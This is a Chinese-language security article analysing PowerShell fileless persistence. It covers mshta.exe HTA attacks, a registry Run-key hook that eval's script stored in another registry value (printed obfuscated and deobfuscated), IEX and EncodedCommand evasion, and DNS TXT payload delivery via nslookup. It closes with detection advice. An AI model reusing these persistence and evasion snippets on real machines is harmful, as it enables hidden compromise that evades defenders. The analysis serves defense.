PowerShell无文件持久化技术与常用的防御绕过技术
目前为止,PowerShell仍然是网络安全专家进行防御和黑客进行攻击的首选工具。原因很简单,PowerShell具有很好的可扩展性,支持能力以及适应各种编程语言。如PowerShell Empire,PowerSploit等,都被安全研究人员以及黑客所使用。
这两天,就有安全平台检测出了有恶意软件利用PowerShell所进行的攻击,该攻击可以进行持久性攻击并绕过传统安全防护的检测。恶意软件会诱骗用户对网站上的Adobe Flash浏览器插件进行更新,然后使用一个称为mshta.exe的HTA攻击方法。 MSHTA.exe是一个合法的Microsoft二进制文件,可以在任何浏览器中被调用,用于执行.HTA文件。不过在大多数情况下,对MSHTA.exe的扩展都属于恶意扩展,所以我们建议开启防火墙里所有阻止HTA扩展的功能。
目前利用MSHTA.exe进行攻击的方法已经被列入社会工程学攻击包(SET)多年了:
如果被MSHTA.exe攻击了,就会发生上图所列的那些情况。黑客可能是利用了VBS下载器,PowerShell,一个被下载和执行的二进制文件等等来执行的MSHTA.exe攻击。
目前,在大多数情况下,这种钓鱼网络攻击都能够被检测到,如下图所示, 一旦网页启动了恶意HTA ,就能被立即检测到。
一旦发生这种情况,PowerShell命令就会被执行,因为这个HTA会触发了多个危险提示。通常,恶意HTA会触发SYSWOW64降级攻击,将进程降级为32位进程,从而给目标设备注入shellcode。
在我们对攻击日志进行分析时,我们发现Invoke-Expression(IEX)是一种常用的攻击技术,利用这种技术可以提取特定的注册表项,并实现持久化的挂钩( hook)。PowerShell攻击是通过Invoke-Expression(IEX)调用.Net Web Client下载功能来下载浏览器上的PowerShell代码并执行。不过,提取的注册表项的名称和持久性挂钩都会在初始PowerShell调用中经过混淆处理。
在这个由Invoke-Expression引起的攻击中,攻击者会在CurrentVersion Run下的用户配置文件下创建了一个注册表项,以作为持久性挂钩的起始位置。
通过研究持久性挂钩的日志,我们发现混淆后的持久性注册表挂钩如下:
- HKEY_USERS:SANITIZEDSoftwareMicrosoftWindowsCurrentVersionRun
- "C:Windowssystem32mshta.exe" "about:<script>c1hop="X642N10";R3I=new%20ActiveXObject("WScript.Shell");QR3iroUf="I7pL7";k9To7P=R3I.RegRead("HKCUsoftwarebkzlqzsdnhepyzs");J7UuF1n="Q2LnLxas";eval(k9To7P);JUe5wz3O="zSfmLod";</script>"
反混淆后的持久化注册表挂钩如下:
- <script>
- WScript_Shell_Object = new ActiveXObject("WScript.Shell");
- Registry_Key_Value=WScript_Shell_Object.RegRead("HKCUsoftwarebkzlqzsdnhepyzs");
- eval(Registry_Key_Value);
- </script>
这一系列过程,就是我们本文所说的无文件攻击技术,也称为有效载荷传递攻击技术,因为该攻击技术不是直接将特定的有效载荷写入文件的,而是通过运行注册表项来在目标设备中实现持久化注入。
在文件攻击技术中,mshta.exe会使用WScript.shell来调用嵌入了PowerShell命令的注册表项。目前,这种无文件攻击至今还无法被检测到。不过,“无文件”并不是真的没有文件的意思,而是指的有效载荷,关于什么是无文件恶意软件,请点击这里进行详细了解。
使用目标设备的PowerShell和mshta,攻击者可以使用传统的攻击技术来对目标设备进行恶意文件的下载及后门的安装。通常黑客会使用Invoke-Expression(IEX)来进行绕过并使用PowerShell的“EncodedCommand”参数以躲避安全软件的检测。
最近,安全研究员Vincent Yiu就展示了一种通过PowerShell来绕过传统检测的方法,该方法没有调用任何IEX和EncodedCommand。目前这种方法已开始被广泛使用了,比如下图这个例子,就是利用了“.”来调用calc.exe的。在这个例子中,由于没有调用其他代码,所以无需使用该代码来分配变量。
那么,在这种情况下,网站的TXT将记录下载PowerShell的命令,并通过nslookup在系统上执行该命令。这意味着我们可以把命令代码注入到DNS中的TXT记录中,并启动PowerShell命令。
开头我们所提到的那家安全平台就可以就可以通过这种PowerShell的运行,来检测出恶意运行。
如果检测到nslookup以及通过nslookup提取代码的行为,则该平台就能立马检测到这种恶意行为,因为PowerShell内部使用的nslookup以及在txt记录中的代码都是恶意的。另外,上面例子中的“.”只能执行文件,而不是执行代码本身。因此,我们还需要另一个命令,来执行从nslookup txt记录中提取的代码。
安全研究专家Daniel Bohannon给出了一种实现办法,不过仍然需要用到IEX:
- $nslookupResult1 = 'iex'
- $nslookupResult2 = 'Write-Host THIS IS MY ACTUAL PAYLOAD -f green'
- . $nslookupResult1 $nslookupResult2
- or even better:
- $nslookupAllInOne = @('iex','Write-Host ALL IN ONE -f green')
- . $nslookupAllInOne[0] $nslookupAllInOne[1]
以下是在该平台所识别出的一种特定攻击模式:
预防措施
对于那些还没有使用该平台进行防护的组织来说,我们可以推荐一些方法来检测PowerShell的这种无文件持久化行为,其实这种恶意行为并不仅限于某种特定的模式,例如IEX。下面我们就为你列出一些预防措施,让你做到心中有数:
- 注意PowerShell命令的字符长度必要过大;
- 注意将PowerShell置于约束语言模式下的行为;
- 启用增强的PowerShell日志记录,例如脚本块日志记录;
- 经常对设备进行安全检测;
- 注意minesweeper.exe的出现;
- 监控诸如IEX,EncodedCommand等的使用;
- 利用Sysmon等工具提高记录功能,并检测可能由可疑进程(PowerShell)引发的流程注入,
- 审查DNS日志并寻找可疑的控制命令和DNS请求;
- 查找不是源自powershell.exe和powershell_ise.exe的System.Management.Automation.dll和System.Management.Automation.ni.dll;
- 在正常情况下禁止普通用户执行PowerShell命令(AppLocker +Device Guard可以防止普通用户使用PowerShell)。